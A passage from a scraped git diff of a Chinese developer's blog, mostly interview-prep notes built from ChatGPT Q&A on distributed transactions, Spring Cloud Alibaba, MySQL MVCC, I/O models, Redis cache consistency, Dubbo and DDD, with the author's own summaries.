至于 RabbitMQ,它是一个基于 AMQP 协议的消息队列,其设计目标主要是实现可靠的消息传输和路由,而不是高吞吐量。RabbitMQ 的消息并非总是顺序读写的,例如,在处理消息确认、消息路由等操作时,可能需要进行随机访问。此外,RabbitMQ 中的消息可以被多个消费者并发消费,这也使得消息的读取并非总是顺序的。

总结

  • 零拷贝技术指的是CPU占用为0
  • rebalance就是自动负载均衡嘛
  • kafka可以指定ack服务器的数目来动态调节可用性和一致性
  • 还有就是kafka的数据结构是顺序存储,为了满足rabbitMQ的高级特性没有办法设计顺序存储的数据结构
 

6.SpringCloud

GPT问答

我用的是SpringCloudAlibaba这一套,给我详细介绍下gateway,seata,openfeign,nacos,sentinel等组件
Spring Cloud Alibaba是Spring Cloud与阿里巴巴中间件团队的深度合作的一个项目,主要是将阿里巴巴微服务解决方案与Spring Cloud技术体系无缝集成。这一套技术栈包括了Nacos、Sentinel、Seata、RocketMQ、Dubbo、SkyWalking等组件。
  1. Gateway Spring Cloud Gateway是Spring Cloud官方推出的二代网关框架,目的在于替代Zuul。它是基于Netty服务器的异步非阻塞模型开发的,因此在性能上相较Zuul有很大的提升。Gateway提供了路由转发、过滤器、限流、熔断等网关基本特性。
  1. Seata Seata(Simple Extensible Autonomous Transaction Architecture)是一种简单、易扩展、自治的事务解决方案。Seata 是阿里巴巴开源的一款分布式事务解决方案,提供高性能和简单易用的分布式事务服务。
  1. OpenFeign @@ -10,11 +10,11 @@ 熔断的目的不仅仅是为了响应服务挂掉的情况。更重要的是,当服务出现延迟或者错误率上升时,通过熔断机制,可以防止这种情况继续恶化,形成雪崩效应。简单来说,熔断器的作用就像是电路中的保险丝,当检测到过多的服务调用失败,熔断器会跳闸,阻止进一步的服务调用,从而保护整个系统的稳定性。
    1. 熔断之后,服务可能会自我恢复,或者通过人工干预恢复。在这个过程中,熔断器可以通过“半开”状态,尝试放行部分服务调用,如果这些调用成功,那么熔断器会自动闭合,恢复服务调用。这样,既可以快速响应服务问题,又可以保护系统的稳定性,避免因为一个服务的问题影响到整个系统。

 
你说seata是简单、易扩展、自治的事务解决方案。说出理由,自治是什么意思。再给我一个java代码的例子
Seata的特性
  • 简单:Seata提供了简单易用的API和注解,使得开发者可以很容易地在业务代码中使用Seata来进行分布式事务控制。同时,Seata支持Spring Cloud、Dubbo和Motan等多种微服务框架。
  • 易扩展:Seata采用模块化的设计,使得各个模块可以单独升级和扩展,而且Seata提供了丰富的SPI扩展点,开发者可以通过实现SPI接口来定制自己的扩展模块。
  • 自治:在Seata中,每个服务参与者都能够自主决定其本地事务的提交或回滚,而全局事务的提交或回滚则由全局事务协调者来决定。这种模式下,服务参与者只需要关注自身的业务逻辑,而不需要关注其他服务参与者的状态和行为,从而实现了自治。
Seata的Java代码示例
在以上代码中,@GlobalTransactional注解表示该方法需要进行全局事务控制。当方法执行时,Seata会自动开启一个全局事务,这个全局事务会包含所有的本地事务。如果所有的本地事务都执行成功,那么Seata会提交全局事务,否则Seata会回滚全局事务,从而保证所有本地事务的一致性。

 
我无法理解自治这个概念,在我思想中,全局事务就该是这样的,本地事务只管自己,全局协调者发现任何1个事务失败就马上会滚,全部成功才成功。还有其他分布式事务解决方案不是这样的吗
你理解的没有错,"自治"在这个上下文中的确是指的服务参与者(或者说是本地事务参与者)只需要关注自己的业务逻辑,而不需要关注其他服务参与者的状态和行为。这是大部分分布式事务解决方案的基本思路,包括两阶段提交(2PC)、三阶段提交(3PC)、TCC(Try-Confirm-Cancel)等。
"自治"这个词在这里更多的是强调的一种设计理念,即服务的自治性,服务应该尽可能地去除对外部的依赖,使得每个服务都能够独立完成自己的任务,这样可以提高服务的可用性和可维护性。
至于其他的分布式事务解决方案,确实也是类似的思路,但在具体的实现上可能会有所不同。例如,2PC和3PC虽然都是基于协调者和参与者的模式,但在事务提交过程中的具体协议是不同的;TCC则是通过业务逻辑来确保事务的最终一致性,与2PC和3PC的预提交机制有所不同。
这也是为什么Seata会强调自己的"自治"特性,因为在Seata的设计中,服务参与者不仅仅是事务的执行者,还需承担回滚日志的记录和存储,这样可以在出现问题时由本地事务参与者自己完成事务的回滚,而不需要依赖于全局事务协调者或者其他服务。

 
给我讲解下2PC,3PC,TCC,并给我代码例子
2PC(Two-Phase Commit)
2PC是一种强一致性的分布式事务协议,它分为两个阶段:预提交阶段和提交阶段。
  • 预提交阶段:协调者向所有参与者发送事务内容,询问是否可以提交事务,并开始等待所有参与者的响应。
  • 提交阶段:如果协调者收到所有参与者都同意提交事务的消息,那么就向所有参与者发送提交事务的请求,事务被正式提交。
2PC协议的主要问题是同步阻塞问题和单点问题。如果有任何一个节点在第二阶段未返回确认信息,那么协调者会一直阻塞等待。如果协调者在第二阶段崩溃,那么所有参与者会一直阻塞等待。
3PC(Three-Phase Commit)
3PC是在2PC的基础上进行改进的协议,它增加了超时机制和可查询状态,分为CanCommit、PreCommit、doCommit三个阶段。
  • CanCommit阶段:事务询问阶段,协调者向所有参与者发送CanCommit请求,询问是否可以执行事务提交操作。
  • PreCommit阶段:事务预提交阶段,协调者向所有参与者发送PreCommit请求,开始执行事务操作。
  • doCommit阶段:事务正式提交阶段,协调者向所有参与者发送doCommit请求,完成事务提交。
3PC协议解决了2PC的同步阻塞问题,但是在网络分区的情况下,仍可能导致数据不一致。
TCC(Try-Confirm-Cancel)
TCC是一种基于业务逻辑的分布式事务协议,它分为Try、Confirm和Cancel三个阶段。
  • Try阶段:尝试执行业务,写预备日志。
  • Confirm阶段:确认执行业务,根据预备日志完成业务操作。
  • Cancel阶段:取消执行业务,根据预备日志撤销在Try阶段执行的业务操作。
TCC协议适合于业务逻辑强一致性要求不高,但需要长时间运行的场景。
由于这三种协议都涉及到分布式系统的底层通信和协调机制,因此在实际的Java代码中不容易直接实现。在实际应用中,我们通常会使用像Seata这样的分布式事务中间件来处理分布式事务,这些中间件内部已经实现了相应的协议。
例如,Seata的AT模式就是基于2PC协议的,而TCC模式则是基于TCC协议的。在Seata中使用AT或者TCC模式,只需要在业务方法上加上@GlobalTransactional注解即可,Seata会自动进行分布式事务的协调和控制,开发者只需要关注业务逻辑。

 
协调者只是告知是否可以提交,参与者才是真正提交事务的。2PC加一个超时机制不就完了吗,为啥要引入3PC?2PC的预提交阶段是在事务执行后最后commit的时候才去问协调者,3PC的CanCommit也是啊。后面PreCommit开始执行事务是什么意思?为什么3PC可以解决同步阻塞的问题,所有事务不都等着提交吗。还有为啥会数据不一致?
2PC和3PC之间的区别确实可以看作是对超时机制的不同处理。但是,需要注意的是,单纯的超时机制可能无法满足所有场景。比如,在2PC中,一旦协调者宕机,参与者在没有收到协调者的最终决定之前,会一直处于等待状态,这就导致了阻塞。即使设置了超时,参与者也无法决定究竟是提交还是回滚事务,因为它们无法确定协调者的最终决定。
为了解决这个问题,3PC引入了第三个阶段。在CanCommit阶段,协调者询问参与者是否可以提交,参与者回复Yes或No后,会进入等待状态。此时参与者已经准备好提交,但并未真正提交。然后在PreCommit阶段,协调者会发出预提交请求,参与者收到请求后会执行事务操作并将状态切换为PreCommit,然后回复ACK。在最后的doCommit阶段,一旦协调者收到所有参与者的ACK,就会发出正式提交,所有参与者在收到doCommit请求后,才会正式提交事务。
这个设计的好处是,参与者在等待协调者的doCommit请求时,如果超时了,那么可以直接提交事务,而不用一直阻塞等待。因为如果参与者已经收到了PreCommit请求,那么说明协调者已经决定要提交事务(因为协调者在发出PreCommit请求之前,已经收到了所有参与者的Yes响应)。所以即使后续协调者宕机了,参与者也可以自己做出决定,不会一直阻塞。这也是3PC能够解决2PC同步阻塞问题的原因。
至于可能导致数据不一致的问题,主要是因为在某些情况下,如网络分区,协调者和部分参与者可能无法通信。假设在PreCommit阶段,协调者发出了PreCommit请求,但只有部分参与者收到了这个请求并回复了ACK,而其他由于网络问题未收到请求的参与者可能仍处于初始状态。这时,如果协调者和收到PreCommit的参与者之间的网络恢复了,协调者可能会以为所有参与者都已经准备好提交,从而发出doCommit请求,导致只有部分参与者提交了事务,造成数据不一致。
 
2PC会有一直阻塞等待的风险,3PC有数据不一致的缺点,TCC你也说会导致数据不一致。那在金融系统要求强一致性的服务该怎么办呢
对于金融系统这种强一致性要求非常高的场景,通常会采取其他的一些技术手段和架构设计来解决分布式事务问题。
  1. 单体架构/垂直划分:在一些非常关键的业务场景,如支付、转账等,可能会采用单体架构或者进行垂直的业务划分,将整个业务流程放在一个服务或者一个数据库中,这样就可以使用传统的ACID事务来保证一致性。
  1. 最终一致性:在一些不需要即时强一致性的场景,可以采用最终一致性的方式,通过消息队列、补偿事务等方式,在一定时间范围内达到数据一致性。例如,银行的对账系统就是一个典型的最终一致性应用。
  1. 分布式锁/悲观锁:在并发量不是特别高,对性能要求不是特别高的场景,可以使用分布式锁或者悲观锁来保证一致性。但是这种方式可能会影响系统的性能和可用性。
  1. Saga模式:Saga模式是一种长事务的解决方案,它将一个长事务拆分为多个本地事务,并通过事件驱动的方式来协调这些本地事务。如果某个本地事务失败,Saga会执行相应的补偿事务来保证数据的一致性。
需要注意的是,不同的业务场景需要选择不同的方案,没有一种方案可以解决所有的问题,需要根据具体的业务需求和系统条件来选择最合适的方案。

 
现在2PC和3PC我大概懂了,TCC模式我还是不明白
TCC (Try-Confirm-Cancel) 是一种两阶段型的补偿型事务模式,它主要用于处理分布式系统中的业务逻辑,以保证分布式事务在各个服务间的一致性。
TCC的每个阶段解释如下:
  • Try 阶段:尝试执行业务,执行所有业务检查,以及预留必要的业务资源。
  • Confirm 阶段:真正执行业务,不做任何业务检查,只使用Try阶段预留的业务资源。如果确认操作失败,只能人工干预处理。
  • Cancel 阶段:在业务执行失败时,取消执行业务,释放在Try阶段预留的业务资源。
一个简单的TCC模式的例子是银行转账服务:
在这个例子中,tryTransfer方法会尝试执行转账操作,例如检查账户余额是否足够,预留转账金额等。如果tryTransfer成功,那么会进入confirmTransfer阶段,真正执行转账操作。如果在tryTransfer或confirmTransfer阶段发生异常,那么会调用cancelTransfer方法,取消转账操作,释放预留的转账金额。
TCC模式的优点是业务逻辑清晰,容易理解和实现。但是也有一些缺点,例如需要为每个操作实现对应的确认操作和取消操作,这可能会增加开发的复杂性。另外,如果在Confirm阶段或Cancel阶段出现异常,可能需要人工介入处理。
TCC模式适合于需要进行复杂业务操作、业务检查、资源预留的分布式事务场景,例如电商系统的订单创建、支付系统的资金转账等。

 
2pc模式和3pc模式,其实不关心业务逻辑的,主要是关心最后commit,所以从单体事务迁移过来的时候不用做太大的代码修改。但是如果我使用TCC的话,意味着我需要重新写一遍业务逻辑是吧。我还是无法理解TCC模式的分布式事务思想体现,TCC也有协调者吗,需要多个tryTransfer都成功才能confirm是吧。如果任意节点tryTransfer不成功,或者协调者挂了也会同步阻塞是吧
你的理解是正确的。TCC模式是需要对业务逻辑进行改造,需要为每个操作实现Try、Confirm和Cancel三个操作。它的主要思想是把一个全局事务划分为多个本地的Try、Confirm和Cancel操作,通过业务逻辑来保证全局事务的一致性。
关于协调者,TCC模式一般也需要一个事务协调者来协调和控制全局事务的执行。协调者会记录每个参与者的状态,如果所有参与者的Try操作都成功,那么协调者会通知所有参与者执行Confirm操作。如果有任何一个参与者的Try操作失败,或者在一定的超时时间内没有收到参与者的响应,那么协调者会通知所有参与者执行Cancel操作。
如果协调者挂了,一般会有以下处理方式:
  1. 状态恢复:协调者挂了之后再次恢复,需要恢复其状态,这需要依赖持久化机制。协调者需要将事务的所有阶段和参与者的状态等信息持久化,挂掉后再次恢复时,可以通过这些信息恢复状态。
  1. 超时处理:为了防止长时间阻塞,TCC事务一般会设计超时机制。例如,如果在一定时间内协调者没有通知参与者进行Confirm或Cancel操作,那么参与者可以自动进行超时处理,如执行Cancel操作。
至于同步阻塞问题,如果采用了超时处理机制,那么可以避免由于等待协调者导致的长时间阻塞。但是,由于TCC模式涉及到业务逻辑,业务执行的时间可能比较长,因此可能会有一定程度的阻塞。但这种阻塞一般可通过适当的系统设计和优化来缓解。

 
前文你提到Seata提供了丰富的SPI扩展点,开发者可以通过实现SPI接口来定制自己的扩展模块,给我几个具体的例子。还有我理解SPI就是运行时的动态代理,我的理解正确吗
Seata 的 SPI 扩展点主要有以下几个例子:
  1. ResourceManager:负责管理一类资源(例如数据库连接)的逻辑,用户可以根据自己的需求来实现这个接口。
  1. TransactionManager:负责事务的生命周期管理,包括开始事务、提交事务和回滚事务等。
  1. LockManager:负责锁的管理,包括获取锁、释放锁等。
  1. Store:负责事务日志的存储,用户可以根据自己的需求来实现这个接口,例如实现基于文件的存储、基于数据库的存储、基于分布式存储系统的存储等。
开发者可以通过实现以上这些接口,来根据自己的需求定制自己的扩展。
对于你的第二个问题,SPI (Service Provider Interface) 并不是运行时的动态代理。SPI 是一种服务发现机制。它通过在类路径下的 META-INF/services 目录中查找文件,然后加载文件所指定的类,这是一种运行时动态加载的机制。这与动态代理是两个不同的概念,动态代理主要是用来在运行时动态地创建一个接口的实现类。

 

总结

  • 熔断是为了防止情况继续恶化甚至雪崩,如果代码健壮,熔断后还可以自治,自恢复
  • 2PC,3PC,TCC仅仅是协议/思想,seata可以自由切换,支持3PC?
  • 2PC有协调者崩溃造成同步等待的情况,没有超时概念,因为无法知道其他节点收到什么样的命令
  • 3PC在二阶段prepare的时候就可以提交了,有可能造成数据不一致,比如A节点收到了prepare_cmd,B节点没收到或者超时收到prepare_cmd。就会造成数据不一致,但是总体而言解决了同步等待的问题,还有can_cmd从一定程度上规避了风险了,can_cmd都确认了其实后两步都很快。do_cmd只是做及时确认,由于有超时机制,其实默认60s就do了
  • TCC很烦的是要改代码,太恶心了。
  • 一致性问题到最后都是追寻最终一致性,银行对账系统存在说明大家都不放心数据一致性问题,都在想方设法的保证最终一致性
 
 

7.事务隔离级别MVCC三个日志文件

GPT问答

mysql事务隔离级别有哪些,分别解决了什么问题。MVCC机制是什么
MySQL事务隔离级别有四种,分别为:
  1. 读未提交(Read Uncommitted):这是最低的事务隔离级别,它允许事务读取尚未提交的改变。在这个级别,可能会出现脏读(Dirty Read)、不可重复读(Nonrepeatable Read)和幻读(Phantom Read)的情况。
  1. 读已提交(Read Committed):这是大多数DBMS(数据库管理系统)的默认隔离级别(但不是MySQL默认的)。它不允许脏读,但可能会出现不可重复读和幻读的情况。
  1. 可重复读(Repeatable Read):这是MySQL的默认隔离级别。它确保同一事务的多次读取结果是一致的。但是,它仍然可能出现幻读的情况。
  1. 串行化(Serializable):这是最高的隔离级别。它完全阻止了脏读、不可重复读和幻读。但是,这种隔离级别通常对性能有影响,因为它在读取时会阻止其他事务进行写入。
解决的问题:
  • 脏读:某个事务已更新一份数据,另一个事务在此时读取了同一份数据,由于某些原因,前一个RollBack了操作,那么后一个事务获取的数据就会是不正确的。
  • 不可重复读:在一个事务内,多次读同一数据。在这个事务还没有结束时,另一个事务也访问了该数据。那么,在第一个事务中的两次读数据之间,由于第二个事务的修改,那么第一个事务两次读到的数据可能是不一样的。 这就是不可重复读。
  • 幻读:一个事务按照某种搜索条件获取了某些值,而这时另一个事务却插入了一些满足该搜索条件的新值,第一个事务再次使用同一搜索条件获取值,会发现多了一些原本不存在的记录,就像发生了幻觉一样,这就叫幻读。
MVCC,即多版本并发控制(Multi-Version Concurrency Control)。它是一种并发控制的方法。当多个用户访问同一份数据时,每个用户都会看到自己的一份数据快照,而这份数据快照是在事务开始时创建的。这样,用户就不会看到其他用户在事务期间所做的修改。MVCC既可以实现读已提交和可重复读隔离级别,又可以通过在每行记录上保存两个隐藏的列来实现,一个用来记录该行的创建时间(或者说是版本号),一个用来记录该行的过期时间(或者说是版本号)。

 
只有for update加锁读才是当前读,其余都是快照读。MVCC引入目的,就是解决不可重复读的问题。但是如果在RR模式下,使用select * from xx for update 才会出现幻读,快照读是不会产生幻读的
是的,你说的对。MVCC的目标主要是解决“不可重复读”问题,并且在大多数情况下,它可以防止“幻读”问题。
在MySQL中,只有SELECT...FOR UPDATE才是当前读,它会对选定的行加锁。其余的查询都是快照读,它们工作在一个快照版本上,不会阻塞其他事务。
在可重复读(Repeatable Read)隔离级别下,快照读确实不会产生幻读,因为同一事务的所有快照读都是基于相同的快照版本。但在同一事务中,如果你使用SELECT...FOR UPDATE(即当前读),那么由于此时会锁定被选中的行,如果此时有其他事务插入了满足该搜索条件的新行,当你再次执行相同的SELECT...FOR UPDATE语句时,你会看到这些新插入的行,这就可能导致幻读。
为了解决这个问题,一种可能的解决方案是在事务开始时就将所有可能会访问的行都锁定,但这可能会导致性能问题。在实践中,如果需要防止幻读,通常会使用更高的隔离级别,如串行化(Serializable)。

 
mysql在innodb引擎里面的三大日志文件是啥,分别有啥用
MySQL的InnoDB存储引擎有三大重要的日志文件:
  1. 重做日志(Redo Log):重做日志是InnoDB存储引擎层实现的一种日志,主要用于确保事务的原子性和持久性。在事务进行中,首先会把数据的修改写入到重做日志中,并刷新到磁盘,然后再修改内存中的数据。如果此时系统崩溃,那么在重启数据库后,InnoDB引擎可以通过重做日志重做(redo)数据的修改,从而保证数据的一致性。
  1. 回滚日志(Undo Log):回滚日志是InnoDB存储引擎层实现的一种日志,主要用于在事务失败或取消时,撤销(undo)已经进行的修改,确保事务的一致性。同时,回滚日志也用于实现多版本并发控制(MVCC),提供了从旧版本数据到新版本数据的视图。
  1. 二进制日志(Binary Log):二进制日志是MySQL服务器层实现的一种日志,记录了所有修改数据的SQL语句。主要用于实现MySQL的复制功能(将主服务器上的数据复制到从服务器),以及数据的恢复。需要注意的是,二进制日志和InnoDB的重做日志不同,二进制日志记录的是SQL语句级别的修改,而重做日志记录的是数据页级别的修改。
这三种日志都是为了实现ACID(原子性、一致性、隔离性、持久性)事务特性,以及数据库的高可用性和数据的恢复。

总结

  • acid和4个隔离级别都是老生常谈问题
  • 当前对于MVCC底层和XS行表锁,gap,next-key,意向锁不是很清楚,极客时间的mysql45讲再深入研究

8.操作系统中的阻塞异步BIONIOAIO

GPT问答

操作系统中的阻塞,非阻塞,异步,同步,BIO,NIO,AIO,给我解释下
这些术语都是用来描述输入/输出 (I/O) 模型的,下面是每个术语的简单解释:
  1. 阻塞(Blocking):阻塞调用是指调用结果返回之前,当前线程会被挂起。调用线程只有在得到结果之后才会返回。
  1. 非阻塞(Non-blocking):非阻塞调用指在不能立刻得到结果之前,该调用不会阻塞当前线程。
  1. 同步(Synchronous):同步意味着在一个操作完成之前,请求者必须等待。无论操作是阻塞的还是非阻塞的,只要是同步的,那么请求者都需要等待操作的完成。
  1. 异步(Asynchronous):异步意味着请求者在发出请求后就可以进行其他操作,不需要等待操作的完成。当操作完成时,通常会通过回调(callback),事件,通知等机制来通知请求者。
  1. BIO(Blocking I/O):这是一个阻塞的同步I/O模型。在这个模型中,当一个I/O操作在进行时,调用者必须等待其完成。
  1. NIO(Non-blocking I/O):这是一个非阻塞的同步I/O模型。在这个模型中,调用者可以在I/O操作完成前进行其他任务,但仍需要定期检查I/O操作是否完成。
  1. AIO(Asynchronous I/O):这是一个非阻塞的异步I/O模型。在这个模型中,调用者完全不需要关心I/O操作,当操作完成时,系统会自动通知调用者。
在理解这些术语的时候,要注意阻塞/非阻塞和同步/异步之间的区别。阻塞/非阻塞描述的是程序在等待调用结果(可能是I/O操作)时的状态,而同步/异步描述的是程序在发出调用请求后的行为。

 
3大io模型就是对于是否阻塞和的是否同步的具体实践。给我写出3大io模型的java例子。
好的,以下是针对 Java 的 BIO, NIO和 AIO 的简单示例。
  1. BIO (Blocking I/O)
  1. NIO (Non-blocking I/O)
  1. AIO (Asynchronous I/O)
以上代码仅供示例,可能还需要进一步的错误处理和资源管理。

 
再给我写一个异步阻塞的例子
在 Java 中,异步阻塞这个概念并不常见,因为异步通常都意味着非阻塞。但是可以通过使用 Future 来模拟异步阻塞的行为。具体来说,我们可以启动一个新的线程来执行任务(异步),然后在主线程中调用 Future.get() 方法来等待结果(阻塞)。下面是一个简单的示例:
在这个例子中,我们首先创建一个 ExecutorService,它是一个可以管理多线程的服务。然后我们提交一个任务到 ExecutorService,这个任务在一个新的线程中异步执行。主线程继续执行其他任务,然后在需要结果的时候调用 Future.get() 方法来等待结果。如果在这个时候任务还没有完成,那么 Future.get() 方法会阻塞,直到任务完成为止。

 
再用烧水后喝水给我解释BIO,NIO,AIO。异步阻塞一起解释
好的,我们可以把烧水喝水的过程类比为 I/O 操作。
  1. BIO(Blocking I/O):你把水壶放在炉子上,然后就站在那里,什么也不做,直到水烧开。这就是阻塞,你正在等待 I/O 操作(烧水)的完成。这就像是你在等待一个网络请求的响应,直到它完成,你才能继续。
  1. NIO(Non-blocking I/O):你把水壶放在炉子上,然后你去做其他事情(比如读书)。但是每过一段时间你都得回来检查一下水是否烧开。这就是非阻塞,你并没有阻塞在 I/O 操作上,而是在等待 I/O 操作时做其他事情。但是你需要不断地检查 I/O 操作是否完成。
  1. AIO(Asynchronous I/O):你把水壶放在炉子上,然后你去做其他事情。你的水壶很聪明,当水烧开的时候,它会响铃通知你。这就是异步,你不需要去检查 I/O 操作是否完成,因为当它完成的时候,你会得到通知。
  1. 异步阻塞:这个概念在实际中并不常见,但是为了解释,我们可以这样想象:你把水壶放在炉子上,然后你去做其他事情。你的水壶很聪明,当水烧开的时候,它会响铃通知你。但是你在做其他事情的时候,每完成一项任务,你都会去看看水壶是否响铃。这就是异步阻塞,你在等待 I/O 操作的同时做其他事情,但是你要不断地检查是否有通知。
以上就是 BIO,NIO,AIO 以及异步阻塞的解释。希望这个类比可以帮助你理解这些概念。

总结

  • 基本上理解异步阻塞的例子,就差不多了
  • 阻塞就意味着等待
 

9.Redis跟MySQL缓存一致性

GPT问答

Redis跟MySQL缓存一致性问题,目前业界常用的方案是哪些
在构建高并发、高性能的互联网应用时,缓存是不可或缺的一部分。然而,引入缓存后,缓存与数据库的数据一致性问题就会出现。Redis 作为一种非常流行的缓存解决方案,同 MySQL 数据库的一致性问题也是业界面临的重要挑战。
以下是一些常见的解决方案:
1. 缓存穿透:
缓存穿透是指查询一个数据库中不存在的数据,结果缓存没有命中,然后去数据库查询,数据库也没有,这样就形成了缓存穿透。解决方案是对于查找的字段做一个空值的缓存。这样即使数据库没有,缓存也会命中,从而避免了对数据库的查询。
2. 缓存击穿:
缓存击穿是指访问一个热点数据,当该数据过期的瞬间,大量的请求就会穿破缓存,直接请求数据库,造成数据库的压力。解决方案是设置热点数据永不过期,或者在代码层面,使用互斥锁或者分布式锁,保证缓存的单线程(进程)写,避免大量并发线程对数据库进行访问。
3. 缓存雪崩:
缓存雪崩是指缓存中大量的数据同时过期,导致大量的请求直接打到数据库,从而导致数据库压力过大。解决方案是对缓存的过期时间进行随机,避免同一时间大量的数据过期,请求打到数据库。
4. 读写一致性:
这是比较常见的一种场景,即读取数据后,立即写入缓存。但是,如果写入缓存失败,会导致下次读取的时候,读到的是旧数据。解决方案是使用"先删除缓存,再更新数据库"的原则。
5. 双写不一致:
双写不一致是指应用先将数据写入数据库,然后再写入缓存,这期间数据可能会出现不一致的情况。解决方案是使用消息队列,将需要写入的数据写入消息队列,然后由消费端去更新数据库和缓存,保证了顺序性。
以上这些方法并不能保证完全的一致性,只能在一定程度上降低不一致的可能性。在某些对一致性要求非常高的场景下,可能需要牺牲一些性能,采取更加严格的一致性策略。

 
读写一致性的解决方案,你提供的是旁路缓存的模式,但是删除缓存到数据库落库还有一段时间有可能会重新生成缓存,还需要延时双删
你说得很对,"先删除缓存,再更新数据库"的原则确实存在问题,这是因为在删除缓存后,到数据库更新结束这段时间内,如果有其他线程查询这个数据,会查询不到缓存,然后去数据库查询到旧数据并将旧数据写入缓存,这样当数据库更新完成后,缓存中的数据还是旧的,这就出现了数据不一致的情况。
目前,针对这个问题,一种比较成熟的解决方案是“延时双删”,具体步骤如下:
  1. 先删除缓存
  1. 再更新数据库
  1. 等待一段时间(比如100ms),再次删除缓存
这种方法的基本思想是:因为可能会有其他线程在这段时间内把数据库旧数据查询出来并且写入缓存,所以通过等待一段时间后再次删除缓存,以此来保证缓存中的数据是最新的。
然而,这种方案并不能完全解决问题,因为这个等待的时间并不能保证是最优的,这个时间长了可能会导致缓存利用率下降,时间短了可能会导致数据不一致。但是在实际操作中,这种方案可以在一定程度上缓解读写一致性问题。

 
追求强一致性就要加锁了,性能牺牲太大
是的,你的理解是正确的。在计算机科学中,一致性和性能往往是一对矛盾的存在。强一致性意味着系统的每一次读操作都将返回最新的写操作结果,这就需要在读写操作之间加锁以确保操作的顺序性,但这样做会极大地牺牲系统的性能。
在实际应用中,我们往往会根据业务需求在一致性和性能之间做出权衡。对于一些对数据一致性要求非常高的业务,我们可能会选择牺牲一部分性能来确保数据的强一致性。反之,对于一些对性能要求非常高,而对数据一致性要求相对较低的业务,我们可能会选择牺牲一部分数据一致性来提高系统的性能。
另外,对于缓存一致性问题,除了上述的一些解决方案,还有一些其他的技术可以帮助我们,如读写分离、分布式锁等。这些技术在不同的业务场景下有着不同的应用,可以根据具体的业务需求选择合适的方案。

总结

  • 缓存击穿可以用双重检查锁
  • 旁路缓存+延时双删
  • 上面方案还是很小几率不一致,就需要加锁了。这个要业务容忍程度
 

10.Dubbo底层理解

GPT问答

谈谈你对Dubbo底层理解
Dubbo是一种高性能的Java RPC框架,它使用了许多高级技术和设计模式来实现其性能和可扩展性。
  1. 服务提供者和消费者模型:Dubbo使用了服务提供者和消费者模型。服务提供者提供服务并注册到注册中心,服务消费者从注册中心订阅服务并发起调用请求。这种模型使得服务的提供者和消费者可以在不知道对方的情况下进行通信。
  1. 负载均衡:Dubbo内部实现了多种负载均衡算法,如随机、轮询、最少活跃调用、一致性Hash等。当服务消费者从多个服务提供者中选择一台进行调用时,会根据负载均衡策略进行选择。
  1. 服务路由和过滤:Dubbo支持自定义路由规则和过滤器,可以对服务调用进行灵活的控制。例如,可以根据服务提供者的IP或者服务消费者的应用名进行路由,或者在服务调用前后进行特定的处理。
  1. 异步通信:Dubbo支持异步调用,消费者无需同步等待服务调用的结果,可以提高系统的并发处理能力。
  1. 协议和序列化:Dubbo支持多种协议(如Dubbo、HTTP、Thrift等)和序列化方式(如Hessian、Java、Kryo、FST等),可以根据实际需求进行选择。
底层实现层面,Dubbo主要是基于Netty来实现网络通信,利用Java的NIO(非阻塞IO)来处理高并发的网络请求。同时Dubbo也使用了线程池来并发处理服务调用,提高系统的吞吐量。
以上是我对Dubbo的一些理解,如果你有任何问题或者想要深入了解某个部分,欢迎随时向我提问。

总结

  • 01-贝壳中说了dubbo的对比springcloud
  • 底层用的netty,NIO模型,线程池模型,这个太底层了,要细聊还是要看代码

11.DDD的理解

GPT问答

谈谈你对DDD的理解
领域驱动设计(Domain-Driven Design,简称DDD)是一种软件开发方法论,由Eric Evans在他的书《领域驱动设计:软件核心复杂性对策》中首次提出。DDD的主要目标是在复杂的设计和模型中找到和实现业务领域的连续性。
DDD主要包含以下几个核心概念:
  • 领域(Domain): 这是一个问题区域,我们需要在这个区域中找到解决方案。
  • 子域(Subdomain): 一个大的领域可以分为几个子域,每个子域都是独立的,可以单独处理和开发。
  • 限界上下文(Bounded Context): 这是一个显式定义的边界,它限定了特定的语义上下文,其中的模型只在这个上下文中有意义。
  • 领域模型(Domain Model): 这是一个模型,它封装了特定领域的知识和业务规则。
  • 实体(Entity): 在领域模型中有唯一标识的对象。
  • 值对象(Value Object): 在领域模型中没有唯一标识的对象。
  • 聚合(Aggregate): 一组具有一致性边界的关联对象,由一个根实体(Aggregate Root)来管理。
  • 领域服务(Domain Service): 当领域模型的某些操作无法归类到实体或值对象上时,可以定义为领域服务。
  • 领域事件(Domain Event): 表示领域中重要的事件,它会影响领域的状态。
  • 仓库(Repository): 提供对聚合的存储和检索。
DDD强调的是,我们应该尽可能地理解业务领域,并且在设计和代码中反映这个理解。这样可以使得软件更加符合业务需求,更易于维护和演进。

总结

  • 我其实很反感,因为需求和需求设计不可能一开始就合理,考虑到各种设计模式,熟悉的controller到service到mapper的方式,考虑到不同开发的编码习惯,很烦
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Nginx配置备忘录万里长征-01-贝壳
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240425-nginx.html b/article/240425-nginx.html index 543a3834e..b5d9550fb 100644 --- a/article/240425-nginx.html +++ b/article/240425-nginx.html @@ -1,11 +1,11 @@ -Nginx配置备忘录 | Both Savage

Nginx配置备忘录

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近服务器进行了迁移,nginx最为流量入口,配置一定得慎重

基础

配置文件

不同用途的配置文件分开存放,有利于阅读和管理

主配置

密码访问配置

限制ip访问配置

SSL访问配置

静态资源访问配置

其他配置

 

总结

  • nginx配置文件分开存放
  • 80和443配置,静态文件配置
  • basic密码访问
  • 安全隔离,ip防护,禁止访问特定路径
  • REALIP获取等

写到最后

notion image
+Nginx配置备忘录 | Both Savage

Nginx配置备忘录

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近服务器进行了迁移,nginx最为流量入口,配置一定得慎重

基础

配置文件

不同用途的配置文件分开存放,有利于阅读和管理

主配置

密码访问配置

限制ip访问配置

SSL访问配置

静态资源访问配置

其他配置

 

总结

  • nginx配置文件分开存放
  • 80和443配置,静态文件配置
  • basic密码访问
  • 安全隔离,ip防护,禁止访问特定路径
  • REALIP获取等

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Prometheus+Grafana多方位监控万里长征-02-跟谁学
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240429-LM-fox.html b/article/240429-LM-fox.html index 490d18ede..5d42cf93c 100644 --- a/article/240429-LM-fox.html +++ b/article/240429-LM-fox.html @@ -1,11 +1,11 @@ -万里长征-03-搜狐 | Both Savage

万里长征-03-搜狐

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4o模型
 

问题

1.LeetCode103 二叉树的锯齿形层序遍历

